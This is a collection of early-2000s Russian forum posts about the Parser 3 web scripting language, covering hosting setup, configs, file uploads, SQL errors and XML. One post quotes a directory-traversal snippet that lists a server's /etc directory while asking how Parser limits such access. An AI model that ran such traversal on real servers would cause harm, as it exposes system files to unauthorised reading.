"1465","Я ставлю на valuehost сам. В одном лице у меня и главный конфигурационный файл, и конфигурационный файл сайта.\
Или настройки нужно по разным файлам разносить?"
"1467","0. Посте поста записывать текстовые поля формы в базу. Затем взять last_insert_id().\
1. Склыдавать в любое место ;-)\
2. Делать это с помошью ^form:fileFieldName.save[binary;/path/to/file.ext]. В имя файла включить это самое \"последнее id\" (примеры имен файлов (для id=1234): 1234.jpg, pozor1234.jpg, thumb1234.jpg и еще куча вариантов)\
"
"1468","Какой список, с какими значениями?\
Как его посмотреть?"
"1470","Почему нельзя сделать, чтобы columns работал для любых таблиц?"
"1471","Если есть хоть один перевод строки - будет def. Т.е. пример достаточно \"грязный\"\
Лечить можно и нужно поиском подстроки \"sql\""
"1472","Да хорош!\
второй парсер я залил на сайт, и админа попросил только установить его обработчиком html, причём только для моего сайта и всё.\
А про третий в инструкции написано, что там половину файлов надо в системный каталог Windows записывать. Кто ж мне это позволит?\
Вот я и спрашиваю, нельзя ли записать их в другой каталог, и что-нибудь прописать в parser3.conf.\
К примеру никто не знает, как получить путь к Parser3.exe ???"
"1474","я не знаю как в IIS но в Apache не надо никакие файлы кидать в системный каталог, а можно их поместить там где тебе удобно."
"1476","\
1. Благодарю за внимание к моему вопросу.\
2. Дважды благодарю за оперативность.\
3. Прошу выслать ПРАВИЛЬНЫЙ конфиг, т.к. свой смогу сбросить только завтра.\
4. Прошу сбросить HTML-страничку \"Hello, World!\".\
"
"1477","я их разношу и через SetEnv в .htaccess устанавливаю переменные:\
[code]\
SetEnv HTTP_PARSER_ROOT_CONFIG /.../parser3.conf\
SetEnv HTTP_PARSER_SITE_CONFIG /.../parser3.conf\
[/code]\
\
т.е. путь к главному конфигу и конфигу сайта, короче делаю как в доке написано и все работает."
"1478","а я пользуюсь раскладкой от php (встроенной), вроде клёво смотрится."
"1481","Спасибо за информацию.\
Я вот как раз разыскиваю человека, который знает как в IIS. :)"
"1482","Офигительная штука, Миша а у тебя есть цветовая раскладка под парсер? Если можешь и не жалко пришли мне её по мылу с краткими объяснениями, как её поставить."
"1484","я блин уже для отладки логи в файл писать начал :)\
вот до чего, криворукость доводит :)"
"1487","Закачивает просто замечательно, а вот вместо удаления файлов:\
\
\"HTTP/1.0 501 Not Implemented\"\
 \
Что теперь не так?\
"
"1490","Пожалуйста, кто-нибудь объясните, какие параметры должен содержать этот оператор, или хотябы приведите работающий кусок кода.\
[code]Никак не получается у меня через форму загрузить на сервер файл.[/code]"
"1493","Есть такая конструкция ^cout.save[$file] В файл записывается число. А как его от туда вытащить?\
(Для счетчика посещений)"
"1494","[b]^file::load[формат;имя_файла]\
^file::load[формат;имя_файла;новое_имя_файла][/b]\
\
Конструктор загружает файл с диска. \
\
[b]$файл.text[/b]\
\
Поле содержит текст файла. Использование этого поля позволяет выводить на странице содержимое текстовых файлов или результатов работы file::cgi и file::exec."
"1495","[code]\
<html>\
<body>\
\
^process{@hello[]\
 $greetz[Hello, World!]\
 $result[$greetz]\
}\
\
<p><h1>^hello[]</h1>\
\
</body>\
</html>\
[/code]"
"1497","есть таблица (в ней товары / разных магазинов - база одна для всех\
магазинов - ну а количество товаров в в каждом магазине разное ....\
- вопрос - как с кукисами сделать, чтобы :\
[b]1)[/b]допустить человека вообще на сайт (сайт закрытый - для использования только в фирме...)\
[b]2)[/b]сделать редактирование возможным  только для данного магазина (автоматически сделать из ква товаров -text-area -> ввели изименения добавили в базу,\
\
\
в основном буде изменятся к-во товара - и все)\
[color=\"red\"]\
----------------------------------\
маг1          |маг2            |....\
-------------------------------\
товар1/5штук  |товар1/10штук\
товар2/34штук |товар2/77штук\
[/color]"
"1499","ВОт здесь вроде работает !?\
\
\
да. как раз 2 ентера."
"1500","Парсер3 успешно попробовал на сайте, рпботпнт из корня и из пары подкаталогов .УЖЕ существовавшив.\
Сделал новый каталог, положил туда уже проверенные рабочие файлы в него (индекс и атуо.р)и вот получил:\
\
read failed: Permission denied (13), actual filename 'D:/cards/cards/'\
\
D:/cards/cards/\
\
(1)\
\
exception.type=file.access \
\
\
Система НТ4, ИИС-4, права на новый каталог  и его содержимое совпадают с правами у существующих.\
Однако Парсер отказывается работать из любого вновь созданного каталога. \
"
"1501","надо так:\
[code]\
$buffer[^buffer.match[\\n\\n][g]{<p />}]\
$buffer[^buffer.match[\\n][g]{<br />}]\
[/code]"
"1502","Я в текстарии ставлю 3 ентера. а в базу кладеться 1 ..."
"1503","тогда привели пример как ты данные из textarea вставляешь в базу."
"1504","От отчаяния я начал читать инструкцию :)\
\
Так вот. \
Данная ошибка (отказ в доступе)\
вовсе не означает проблему с доступом к файлу/каталогу. \
Это сообщение почему-то выскакивает тогда, когда неправильно применняются переменные. Конкретно была ошибка с попыткой передать в переменной имя каталога и имя файла и расширение файла.\
Праавильно будет так:\
\
$каталог[путь]\
$имя_файла[имя]\
^табл[^table::load[/$каталог/${имя_файла}.ext]]\
\
Если же по простоте душевной, как это сделал я :) \
написать что-то вроде\
\
$каталог[путь]\
$имя_файла[имя]\
$расш[.ext]\
^табл[^table::load[/$каталог/$имя_файла$расш]]\
\
то возникнет аксесс денвйд!\
\
При этом фолрмально переменные употреблены верно, \
\
$имя_файла$расш  \
\
возвращает правильно сконструированное имя файла с его расширением.\
"
"1505","[code]\
^табл[^table::load[/$каталог/$имя_файла$расш]]\
[/code]\
\
Так делать нельзя, надо так:\
[code]\
^табл[^table::load[/$каталог/${имя_файла}$расш]]\
[/code]"
"1506","возникает при обратном выводе их в текстареа :)\
\
^taint[as-is][...] спесет отца..."
"1507","...я хотел еще обратить внимание разработчика на ошибку в опреденении типа ошибки :)\
\
"
"1508","Из текстарии брать и ложить в базу.\
\
в html выводить так :\
\
$buffer[^buffer.match[\\n\\n][g]{<p />}]\
$buffer[^buffer.match[\\n][g]{<br />}]\
\
в textarea для модификации запихивать так :\
^taint[as-is][$txt]\
\
Я б ничего не смог без этого форума ! Всем огромное спасибо !"
"1509","Ты фактически сконструировал путь к вайлу, который по сути - директория и пытался загрузить ЭТО в таблицу.\
\
(/$каталог/$имя_файла$расш == /$каталог/ в твоем случае)\
\
В общем пусть лучше ПАФ прокомментирует :)"
"1510","Подскажите, как записать информацию в созданный файл?\
\
Цель такая: человек логинится, генерится случайное число (имя_сессии), создается файл имя_сессии, в который пишется айпишник, логин, пароль, датавремя. Также создается кука, которая запоминает имя_сессии, и при каждом обращении к странице - браузер сообщает серверу как зовется кука, сервер все сверяет и либо пускает, либо посылает подальше.\
\
Если кто-то уже сталкивался с решением подобных ситуаций, может что-то посоветуете?"
"1512","Хочу проверить тип сервера например...\
[code]\
$dummy[$env:SERVER_SOFTWARE]\
^if(^dummy.match[IIS]{\
    $isIIS[true]\
}{\
    $isIIS[false]\
}\
$dummy[]\
[/code]\
Без $dummy тут никак не обойтись?"
"1514","Что имеется ввиду? :-)"
"1516","Задал в windows системную переменную HTTP_PARSER_ROOT_CONFIG. Согласно документации, если задана эта переменная, то ГКФ должен быть считан из неё. Насколько я понял из доки по Апачу, ситемные переменные окружения и они же CGI, это не одно и тоже. Вопрос, как тогда определить HTTP_PARSER_ROOT_CONFIG для IIS?"
"1517","Но дописать в файл тоже можно \
[code]\
$text[asd]\
^text.save[append;ttt.txt]\
[/code]\
"
"1518","^if(def $env:SERVER_SOFTWARE && ^env:SERVER_SOFTWARE.match[IIS]){\
    $isIIS[true]\
}{\
    $isIIS[false]\
}\
"
"1522","Можно по крону с ними работать.\
Тем более что в БД я не особо силен, использую в случае крайней необходимости. :-))\
\
Спасибо за помощь!"
"1523","Вызываете матч на строку, переданую в макрос, а то...\
\
[code]\
@macro1[str]\
$result[^str.match[test][]{}]\
\
@main[]\
^macro1[]\
[/code]\
\
Опшипка будет т.к. $str - void, а так:\
[code]\
@macro1[str]\
$result[^if(def $str){^str.match[test][]{}}]\
\
@main[]\
^macro1[]\
[/code]\
\
все будет чих пых\
"
"1524","обязательно прокомментирует. запустите такую команду."
"1525","дорогой Rained, главное в этом деле, не бояться заранее.\
качаешь mysql, под windows его установка тривиальна.\
открываешь документацию по нему, и через считанные часы ты начинаешь думать о времени, потраченном на бессмысленную возню файлами \"и на что это часть жизни ушла?\""
"1526","пока. возможно, что-то придётся взять из registry, но мне не нравится эта идея. кто хочет, пришлите мне patch к исходникам, включу"
"1527","Имеем в таблице поле .comments и это поле либо имеет собержаниенм минус либо имя файла типа \"имя.расширение\".\
Пишем такую конструкцию.\
Чтобы отделить \"детали\" от вышележащего, вписваем тэг, гаранторованно делающий пустую строку (минимум одну) в ЛЮБОМ браузере.\
\
^if($cards.comments ne \"-\"){\
	<br>&nbsp;<br>\
	<a href=$cards.comments>Детали</a>\
}\
\
Расшифровка проста: если в поле НЕ минус, то вставляем ссылочку и отделяем ее пустой строкой выше.\
\
Но сия конструкция работает прямо наоборот. Если \"минус\", то вписывает ссылку на файл с именм \"минус\", а при наличии реального имени НЕ пишет никакую ссылку.\
\
Щаработало как положено только такая конструкция. \
\
<br>&nbsp;<br>\
^if($cards.comments ne \"-\"){\
	<a href=$cards.comments>Детали</a>\
}\
\
В чем провинился амперсанд и точка с запятой ВНУТРИ действия (не условия)? \
"
"1528","Мой опыт работы с базами (скромный) говорит, что при создании сайта в десяток страничек и с жалкой сотней документов проще, гораздо проще делать файлы в чисто текстовом формате, чем устанавливать майскюль, объемом намного превышающем все разумные пределы... По сравнению с требуемым объемом информации на сайте, конечно.\
Плюс глюки, внезапные падения и прочие мелкомягкие прелести при работе с базами.\
Другое дело, если тысячм документов - тогда все собаки непременно попадают в рай, то есть документы -- в базу.\
"
"1529","Как минимум, пароли. \
Я делаю так: вход (имя, пароль), если ОК, генерируется уник. случайный код, и по нему можно работать с соотв. имени статусом(код передается с каждой формой, живет без обновления несколько минут).\
ИМХО классика. Пока хватало.\
Имена и пароли можно шифровать. И т.п.\
На каждый ресурс -- свой доступ (т.е. имя, пароль и статус). "
"1531","1. MySQL - это не продукт от Microsoft\
2. Для любого сайта размером больше 5 страниц надо использовать СУБД, потому что с ней [i]гораздо[/i] проще обновлять и поддерживать сайт, с этм я столкнулся на собственном опыте."
"1534","[code]\
^if(\
так не хочется ставить sql сервер\
&& windows\
&& нагрузка невелика){\
[/code]\
\
создайте в MS Access нужную вам базу.\
её легче легкого редактировать.\
запросы к ней подготавливаются вообще визуальным редактором.\
\
для соединения с ней создайте ODBC datasource [пара кликов мышкой]\
\
и работайте.\
когда проект превысит условия нашего if, вы всегда сможете перейти к sql серверу, ваш код останется, также останется ваш опыт\
\
[code]\
}\
[/code]\
"
"1535","Так работает:\
[code]\
^if($cards.comments ne \"-\"){\
<br>&nbsp^;<br>\
<a href=$cards.comments>Детали</a>\
}\
[/code]\
И вообще, лучше всегда в подобных вещах перед символом ; ставить ^. Так надежнее.\
"
"1538","только что попробовал этот код (copy/paste из доки):\
[code]\
<form method=\"post\" enctype=\"multipart/form-data\">\
	<input name=\"photo\" type=\"file\" />\
	<input type=\"submit\" />\
</form>\
\
^if(def $form:photo){\
   ^form:photo.save[binary;beauty.gif] \
} \
[/code]\
\
Сервер: WIN/IIS - Работает.\
Сервер: Linux/Apache - Работает.\
 "
"1540","... то-есть будут наследоваться?"
"1541","Леди и джентельмены, особенно те, кто постит в форум что-либо, что может пригодиться другим.\
\
Будьте столь любезны, заполняйте _разумно_ поле \"ЗАГОЛОВОК\"\
\
Обратите внимание, как пишут некоторый (поиск по авторам, egr и еще некоторые не считаются).\
\
Прочитав только заголовок уже можно понять о чем идет речь.\
\
Самим-же потом проще будет искать что-либо...\
\
Спасибо за внимание."
"1542","С наследованием системных типов обязательно будут проблемы. Особенно, со сложными (типа table), и,в первую очередь, у кодеров.\
\
Встречный вопрос - а какой системный тип тебе надо унаследовать и, главное, зачем?"
"1543","Хотел создать объект на основе класса table как раз :) От обычной таблицы он должен был отличаться тем, что всегда имеет обязательное поле uri и при использовании всех методов класса table добавляет к этому uri некую строковую переменную, передаваемую конструктору в качестве параметра. Практическое применение? Ну в общем то для чего я это хотел использовать делаеться гораздо проще :) Но ведь интересно!"
"1545","полностью соледарен, только это сильно пахнет цензурой (это раз) + форум ведь не только для того, что бы выяснять, сколько будет 2+3, а исчо средство для отдыха (вспомним, что идеальным средством отдыха являеться смена труда, вот и я: нажимаю Alt+Tab (чпок ,чпок ,чпок на IE )а потом F5 и отдыхаю...., отдохнул нажимаю Alt+Tab (чпок ,чпок ,чпок на UltraEdit ) и отдыхаю, отдыхаю.)\
Ну нехочу я ширенгами ходить. "
"1548","Детский сад, и только. Разрешаю разработчикам убрать меня из списка слева и подчищать сообщения, которым больше 24 ч. - это я к тому, что это для меня не являеться смыслом пребывания на форуме. (эйййй, а смысл то везде и во всем есть )\
pset"
"1549","...вида \"согласен\", \"солидарен\", \"косяки топором надо\", \"Последние слова кодера перед смертью: Парсер 2 - форева...\" и другие в том-же духе, кроме как спам?\
\
А удалять буду, если это будет сплошное начало топиков, ибо нефиг."
"1552","...как это писать? Там примера-то нет."
"1554","Дока по HTML:\
[quote]\
ENCTYPE=\"encodingType\"\
\
specifies the MIME encoding of the data sent:\
\
\"application/x-www-form-urlencoded\" (the default), is usually used if the METHOD attribute has the value POST.\
\"multipart/form-data\" is used when the form contains a file upload element (INPUT TYPE=\"FILE\").\
[/quote]"
"1555","Пишет:\
The server encountered an internal error or misconfiguration and was unable to complete your request.\
В логе:\
[Fri May 17 21:06:32 2002] [error] [client 194.67.146.67] Premature end of script headers: /pub/home/plugins/cgi-bin/parser3.cgi\
может это быть из-за того что я закачивал parser3.cgi с веб-интерфейса ??\
-htaccess-\
SetEnv HTTP_PARSER_ROOT_CONFIG /cgi-bin/parser3.conf\
SetEnv HTTP_PARSER_SITE_CONFIG /cgi-bin/parser3.conf\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser2.cgi\
AddHandler parsed-p2 p2\
Action parsed-p2 /cgi-bin/parser2.cgi\
AddHandler parsed-p3 p3\
Action parsed-p3 /cgi-bin/parser3.cgi\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
CharsetDisable on"
"1558","Вот что выдает:\
user-request(1): '/pub/home/plugins/htdocs/test.p3' parser reading files of foreign group disabled [recompile parser without --disable-foreign-group-files configure option], actual filename '/pub/home/plugins/htdocs/test.p3'  type: parser.runtime\
"
"1559","статью Scarab'а \"[url=\"http://www.citforum.ru/internet/securities/phpsecure.shtml\"]Приемы безопасного программирования веб-приложений на PHP[/url]\".\
Там правда речь идёт о том, как это делать на php, но суть проблемы одинакова. :-)"
"1560","Установка парсера 3 на valuehost:\
1. к сожелению придеться скачать небезопосную версию:\
http://www.parser.ru/f/1/download/freebsd/parser3_1_0_0001_freebsd45R_grpunlim_cgi.tar.gz\
После распаковки засовываем parser3.cgi в папку cgi-bin/.\
Все остальные файлы конфигураций и библиотек ставяться как указано в документации: cgi-bin/parser3.cfg - главный конфиг, cgi-bin/parser3.charsets/ -кодировки, cgi-bin/lib - mysql\
2.Как и указано в руководстве по установке редактируем/пишем новый .htaccess :\
AddHandler parsed-html html \
Action parsed-html /cgi-bin/parser3.cgi \
<Files ~ \"\\.p$\"> \
Order allow, deny \
Deny from all \
</Files> \
Сохраняем в папке htdocs/\
\
3. Лезем в настройки сервера(support.valuehost.ru) и назначаем управление папками через .htaccess (раздел \"управление папками\")\
\
3. берем пример из Урок 1. Меню навигации и создаем необходимые для него файлы: index.html auto.p sections.cfg - наполняем содержимым и проверяем работоспособность на сервере.\
"
"1561","Не как не могу понять принцыпы работы XML и взаимодействие с XSL все статьи какието дурацкие, примеры не работают даже в IE5_0\
Подскажите, где можно найти простой понятный и хороший учебник для человека который отлично знает HTML, но хоть убей не втикает в XML и XSL.\
Спасибо."
"1562","Угу, в факе нужно большими буквами написать - вначале прочтите и выучите наизусть это и список док, только потом приступайте к изучению парсера..."
"1563","Я думаю, что все установили уже, после того, как нас осчастливили \"новой\" версией парсера с небольшой \"дыркой\".\
\
Помнится, на Valuehost в 'настройках' была опция SuEXEC, которая бы наверное помогла нам поставить нормальную версию парсера, а сейчас ее нет. На все мои мольбы, суппорт не ответил, а на другие вопросы - посоветовал ее включить - молодцы! :)"
"1565","Нельзя объять все сразу, поэтому лучше сначала разобраться с основными средствами языка, а потом уже лезть в дебри XML. Или тебе это очень горит?"
"1566","Может стоит быть менее строгим ибо силой мало чего можно добиться, не так ли?"
"1569","...предложение сделать А или Б, для каждого из вариантов будут такие-то последствия.\
\
Согласно моим трактовкам я высказал исключительно просьбу. Причем просьба обращена была не ко всем, к тому-же, как мне показалось, я аргументировал ее.\
\
Если кого-то обидел - прошу прощения."
"1571","но пара других сообщений в ней не очень на неё похожи, а люди бывают иногда оччень обидчивами :)"
"1573","Вот такая конструкция\
[code]\
^if(${root}${sections.uri} eq $request:uri){\
    ...\
}{\
    ...\
}\
[/code]\
возвращает ошибку\
[code]\
parse error, expecting `';'' or `')''\
[/code]\
Как правильно написать условие?"
"1575","http://parser.ru/forum/?id=1546 - тут есть смайлик\
http://parser.ru/forum/?id=1549 - тут да, несколько погорячился, если общественность настаивает могу снести.\
\
Еще раз прошу прощения, если кого обидел."
"1577","Хотя горячие люди, могут и за кинжаль схватиться, с криками, - зарэжу! :))"
"1578","[code]\
^if(${root}${sections.uri} eq \"$request:uri\"){    \
...}{    \
...\
}\
[/code]"
"1579","[code]\
^if(\"${root}${sections.uri}\" eq $request:uri){\
    ...\
}{\
    ...\
}\
[/code]"
"1580","загони \
${sections.uri} в промежуточную переменную, т.е.\
\
$addition[$sections.uri]\
тогда следующее условие:\
\
^if($root$addition eq $request:uri){    \
...}{    \
...}\
вполне работоспособно\
"
"1581","В современных социолингвистических условиях нельзя однозначно упрекнуть индивидуума в безграмотности, поскольку он всегда может обосновать формально неправильное употребление языка чем-то вроде расставления эмоциональных акцентов. Кроме того существует такое явление как опечатки.\
\
А ещё, совершенно непонятно как быть со смайликами :(\
\
:)))\
\
Вот, до кучи, ещё порожняков.\
\
Вообще, имхо, Выход Парсер III в открытых исходниках это событие очень крупного масштаба, -  ведущая веб-студия страны выкладывает в свободное хождение свою технологию, причём очень высокого уровня. Тем не менее это событие как-то нигде особо не освещалось. Или я не прав? И Отставнов в Компьютерре по этому поводу ничего не написал :) Похоже, Студия не проводит какой-то особенной PR политики, а пустила вопрос на самотёк? Или это как раз результат действия этой самой политики?\
\
Это самое, сорри... Нафлудил тут..."
"1582","Особенно при больших рекурсивных обходах деревьев (ну что поделать приходится мне щас постоянно трахаться с деревьями и их кусками...)\
\
Поэтому если можно, лучше избежать этого :) IMHO"
"1585","> доступ к дереву получает парсер,\
> $list[^file:list[/../../../../../etc/;\\.*^$]]\
> ^list.menu{\
>    $list.name<br>\
> }\
>  Есть ли механизмы внутри парсера ограничивающие доступ,\
> или это возлагается на OS ?...\
\
на OS возлагается многое.\
\
но и у parser configure есть флажок:\
  You can disable reading and executing files, belonging to group \
  other then current by setting\
  --disable-foreign-group-files\
  option to configure.\
при сборке бинарников, что в download, он был включен.\
\
т.е. файл группы root[wheel,bin,sys,other,...] не будет считан parser'ом.\
так что не страшно, что видно /etc, скушать оттуда ничего нельзя[если, конечно, ваш админ не сойдёт с ума — не настроит запуск cgi от пользователя из группы root,...]."
"1586","Када юзал p2 то... честно говоря начал глядеть в сторону php и начал его изучать, писать на нем :)\
\
Появление p3 остановило меня, т.к. многое тут делается значительно проще (все это IMHO)\
\
Так что... Каждый сам сделает свой выбор..."
"1587","возможно, \
[code]\
^if(in \"/admin\")...\
[/code]\
стоит посмотреть и на этот оператор?\
\
что до конкретного условия, оно мне кажется каким-то странным, что там в $root?\
\
приведи жизненное — обсудим."
"1588","а примеры в документации зачем?\
правильно, чтобы их игнорировать и самоуверенно писать неправильный код!\
\
конечно, надо почитать документацию [b]хотя бы[/b] по HTTP и HTML, раз уж кто-то собрался что-то делать по эту сторону от browser."
"1589","Я сопровождаю подраздел сайта и только в нём используются Парсер, остальное - ASP, всё работает под IIS и MSSQL. Парсерная часть разрабатывалось под Apache MySQL, и не как подраздел, а как отдельный сайт. В общем это не такая уж и проблема, но хочеться что-бы код был один и тот же, а для переноса с одной платформы на другую нужно было-бы поменять пару тройку \"глобальных\" переменных, причём может быть даже автоматически в зависимости от содержания $env:SERVER_SOFTWARE. То есть я устанавливаю $root в \"/\" или в \"/myPart/\" и оно работает и как www.myPart.ru и как www.mainServer.ru/myPart/. А весь остальной код и файлы с данными не изменяю.\
\
Честно говоря, даже не знаю насколько это оправданно, но очень лень везде править потом."
"1590","SQL вернёт. А если таблица из файла загружается? А если их много и все разные и пишут их люди не посвящённые?\
Вот так"
"1591","[code]\
...\
<td width=259 valign=top><b>$news.0</b><br>$news.1<br><br></td>\
...\
[/code]\
Парсер говорит:\
.../www/index.html(74): '0' column not found  type: parser.runtime\
\
Не работает :(\
"
"1592","Проблема такова: подключиться к базе можно только в страницах, находящихся в корне, а в любой странице второго уровня типа /test/test.p3 при попытке подключения образуется ошибка \"$SQL:drivers table must be defined\". Я так понимаю, что в этот момент не видно parser3.conf, в котором искомая таблица живет ? SetEnv определен в httpd.conf, таблица с драйверами правильная. В чем может быть дело ?"
"1593","в выражениях не такой же синтаксис, как в обычном коде.\
там '-' разделитель, и разрешены незакавыченные слова.\
\
я решил, что для большинства простых случаев хватит.\
любые сложные: в кавычках, или апострофах."
"1594","Не смотрим щас на твой первый месс, там я его понял нормально и ответил на него.\
\
Далее, тебе ответил Иван, который предложил использовать ЗАПРОС.\
\
Я ответил ему, что в запросе таблица ВСЕГДА именованая."
"1596","очевидно, в каком-то auto.p ты ухитрился её\
[code]\
$SQL[убить]\
[/code]"
"1597","Из index.html\
[code]\
$news[^table::load[/news.p]]\
  ^news.menu{\
    ...\
  }\
}\
[/code]\
\
news.p\
[code]\
nameless\
title1 > text1\
title2 > text2\
...\
[/code]"
"1598","auto.p всего 2 - один в корне, другой в директории. В корневом касательно SQL есть только $SQL.connect-string[mysql://root@localhost/test], в другом - ничего. Так что трабл не в этом, видимо. \
"
"1599","http://parser.ru/docs/lang/tableload.htm\
\
^table::load[путь] \
^table::load[nameless;путь]\
\
Почувствуйте разницу"
"1600","если думаешь, что таблица есть: напечатай её, посмотри, точно ли жива."
"1601","Упс. Не заметил :)\
Спасибо."
"1605","Другое дело, что есть вещи, которые значительно проще делать связкой xml/xsl\
\
Хотя все зависит от объема работ...\
\
Грубый пример - этот сайт :)))\
Теоретически сделать, чтобы он был доступен через wap, чтобы каждая страница была доступна в виде xml, в виде print версии, в виде plain text версии - достаточно просто и не придется переделывать никакую логику его работы, т.к. все данные выдаются в виде xml.\
\
Затем на них направливается xsl шаблон и выводит их в том виде, в котором вы видите все в броузере.\
\
Т.е. чтобы заточить его для просмотра в другом виде нужно просто переделать хаблоны...\
Для print версии - один набор, для plain text - второй, для wap - третий и т.д...\
\
Можно пойти дальше и... отдавать xml всем (я на него в процессе резработки так и смотрю), и предоставить вам возможность получать сами шаблоны по http, тогда владельцы новых броузеров, которые понимают user xsl будут видеть то-же самое, но трансформация из xml/xsl будет осуществляться их броузером и им не нужно будет для каждой странички качать оформление...\
\
В общем это был примитивный ликбез, который недавно провели и со мной \
\
;))))))\
 \
"
"1607","Но, как и для любого сложного средства, нужны причины (необходимость) для его использования.\
Как модератор RU.XML (FIDO), приглашаю к нам в эху -- обсудим (ибо здесь обсуждается парсер, а не внешние (пусть даже и используемые в нем) технологии). \
HTML может все, по определению, ибо клиенту все равно посылается именно HTML-текст. Вопрос в том, как его создать. И вот тут XML может сильно помочь при правильной организации."
"1608","HTML и XML - глобально - одно и то же. Разница лишь в том, что в HTML фиксированный набор тэгов, а в XML можешь придумать свои - только не забудь их потом к HTML преобразовать - иначе их никто в браузере не увидит ;-)\
\
Основная \"фишка\" XML в том, что создается четкая и краткая структура документа.\
Например:\
[code]\
<person>\
    <first_name>Вася</first_name>\
    <last_name>Пупкин</last_name>\
    <age>99</age>\
    <phone>232-23-32</phone>\
</person>\
[/code]\
Что потом с этим делать, как отображать - вопрос трансформа. Главное, есть документ, содержаший только данные. Потом выбирай для отображения хоть имя, хоть фамилию, хоть все сразу - пишешь трансформ под кажный сайт/страницу."
"1609","Можно ли сделать так?\
[code]\
^if(def $form:actions){\
\
	^test:$form:actions[]\
\
}{\
	Добро пожаловать!\
}\
[/code]\
\
[i]^test:$form:actions[][/i] - это вызов метода из собственного класса."
"1612","... что я, например, даже не предполагал, что проблема может быть в этом, т.к. подразумевал, что человек знает html, знает что такое upload файла его средствами.\
Для меня это очевидно, и кажется, что это очевидно и для других, особенно когда эти другие идут дальше и работают с этим.\
\
Я думаю, что очень многих вопросов в этом (и не только в этом) форуме просто не существовало-бы, если бы люди прежде, чем задавать его, предварительно читали-бы документации, факи по предмету (я не нахожу почему-то в этом ничего зазорного, хотя частенько делать это лениво) и пользовались поиском (яндекс и гугл рулят).\
\
Не знаю, как другим, но лично мне СТЫДНО задавать вопрос, который поднимался уже черт знает сколько раз. \
\
Да, когда я столкнулся с чем-либо, что я не понимаю/работает не так - я не всегда лезу читать  доку (к тому-же многие из них очень неудобны в использовании), но ВСЕГДА ищу это там, где собираюсь спросить (я про форумы) и В БОЛЬШИНСТВЕ СЛУЧАЕВ еще и гуглом/яндексом.\
\
В применению к твоему вопросу - он обсуждался не раз :( , см. http://parser2.parser.ru/forum/\
\
Чего и другим желаю."
"1613","Есть ли в Парсере 3 что то наподобие ^download[]?"
"1614","ЧТо - то не ладится  с скуль\
выдает \
auto.p(2): 'mysql://root@localhost/marriage' $SQL:drivers table must be defined  type: parser.runtime\
\
все я ему все описал а он матюкается\
помогите!!!!"
"1615","Впредь, лично я не буду отвечать на вопросы, которым посвящена ЦЕЛАЯ ГЛАВА в документации: http://www.parser.ru/docs/lang/responseclass.htm"
"1618","На сайте есть каталог news.\
[code]\
(-d \"/\") - false\
(-d \"/news/\") - false\
(-d \"/news\") - true\
[/code]\
но\
[code]\
(-d \"\") - false\
[/code]\
Понятно, что существование корневой папки ни у кого сомнений не вызывает, но тогда не удобно кодировать некий общий алгоритм которому нужно знать, существует ли папка. По-моему это не очень правильно. Или я не прав?"
"1619","/aaaaa - папка\
/aaaaa/ - дефолтный документ папки"
"1621","Уважаемый господин Лужниковский!\
Я конечно понимаю, что ЗАДОЛБАЛ, но тем не менее прошу (в сотый раз )помощи.\
под виндовозом все пахало. Очень помогли ваши советы.\
ОГРОМНОЕ СПАСИБО.\
Проблема скрылась в СКУЛЬ.\
не могу настроить под Линухом.\
указал все как в доке.....\
10 раз перечитал доку \
10 раз переустанавливал парсер(може че пропустил)\
и все равно выдает:\
\
[color=\"red\"]auto.p(2): 'mysql://root@localhost/marriage' $SQL:drivers table must be defined  type: parser.runtime[/color]\
\
ну что ему еще надо?\
\
плакать хоцца от злости...\
"
"1622","Сам пол-дня мучился, пока не заметил.."
"1623","У меня на FreeBSD ^if(-d \"/\"){aaa}{bbb} отдает \"aaa\""
"1626","В -d используется ответ самой системы. Если она не считает это директорией, значит нет."
"1627",":("
"1628","Проверять: ^SQL.drivers.menu{$SQL.drivers.protocol $SQL.drivers.driver $SQL.drivers.client}"
"1629","Я отвечаю на персональные вопросы только в случае обсуждения МОИХ действий/слов и не отвечаю на те, на которые может ответить кто-то еще (не считаю себя высшей инстанцией или круче других)\
\
Остальные не отвечают, так как вопрос адресован другому (типа, вежливые).\
\
Мораль - это так и останется единственным ответом на данный вопрос."
"1630","я дико извинясь и правда невежливо вышло....\
больше не буду"
"1631","'menu' (void) not a method or junction, can not call it  type: parser.runtime"
"1632","Набрал в поиске $SQL\
\
http://parser.ru/forum/?id=1316\
http://parser.ru/forum/?id=1596\
\
не помешает посмотреть и проверить это (это не относится к описаному тобой сейчас багу):\
http://parser.ru/forum/?id=329\
\
Если не работает - приводи текст твоих conf файлов с указанием структуры сайта и у кого какой owner."
"1633","В главном parser3.conf прописано\
[code]\
$MAIL[\
   S.prog1[/usr/libexec/sendmail/sendmail -t]\
]\
[/code]\
Парсеровый код следующь:\
[code]\
^mail:send[ \
    $.from[^if(def $form:realname){$form:realname}{*_anonimous} ^if(def $form:email){$form:email}{anonimous@*.com}] \
    $.to[$form:recipient] \
    $.subject[^if(def $form:subject){$form:subject/*.com}{without_subject/*.com}] \
    $.body[$form:coments\
       ^if(def $form:email){$form:email}{anonimous@*.com}]\
]\
[/code]\
При попытке отправить письмо Парсер не говорит ничего плохого - типа письмо ушло нормально, зато в логах sendmail написано:\
[color=\"red\"]\
May 19 00:10:29 oops sendmail[685]: g4IJAR000683: to=*@online.tm, ctladdr=nobody (65534/65534), delay=00:00:02, xdelay=00:00:02, mailer=esmtp, pri=30133, relay=smtp01.telecom.tm. [194.84.6.2], dsn=5.6.0, stat=Data format error\
[/color]\
Соответственно письмо до адресата не доходит :(\
Пожалуйста помогите разобраться."
"1634","Это то понятно как раз, но вот на чём писать этот самый трансформ и как теги XML преобразовать к HTML я то как раз не знаю"
"1635","Объять все сразу может и нельзя, а я и не хочу, я просто хочу понять этот язык, везде его расписывают как что-то cool эдакое, да и мне он очень даже нужен в принципе. Везде требуется. Я начинающий Кодер. Хоть и за моими плечами не так много разработок я всё же сразу понял и HTML и CSS и JS и Perl и PHP и Parser. Единственное с чем возникли проблемы так это с MySQL да этими пресловутыми XML и XSL."
"1636","auto.p(2): 'mysql://root@localhost/marriage' $SQL:drivers table must be defined type: parser.runtime\
\
Такая фишка вылезает, когда ты не прописал хэш $SQL в своем конфиге. А вообще, не забудь потом указать пароль :)"
"1637","А как быть с тем, что мыскль делает так:\
[code]\
mysql> show tables from localbase;\
+---------------------+\
| Tables in localbase |\
+---------------------+\
| forum               |\
| news                |\
| stat_ip             |\
| str                 |\
+---------------------+\
[/code]\
как обраиться к столбцу \"Tables in localbase\"?\
"
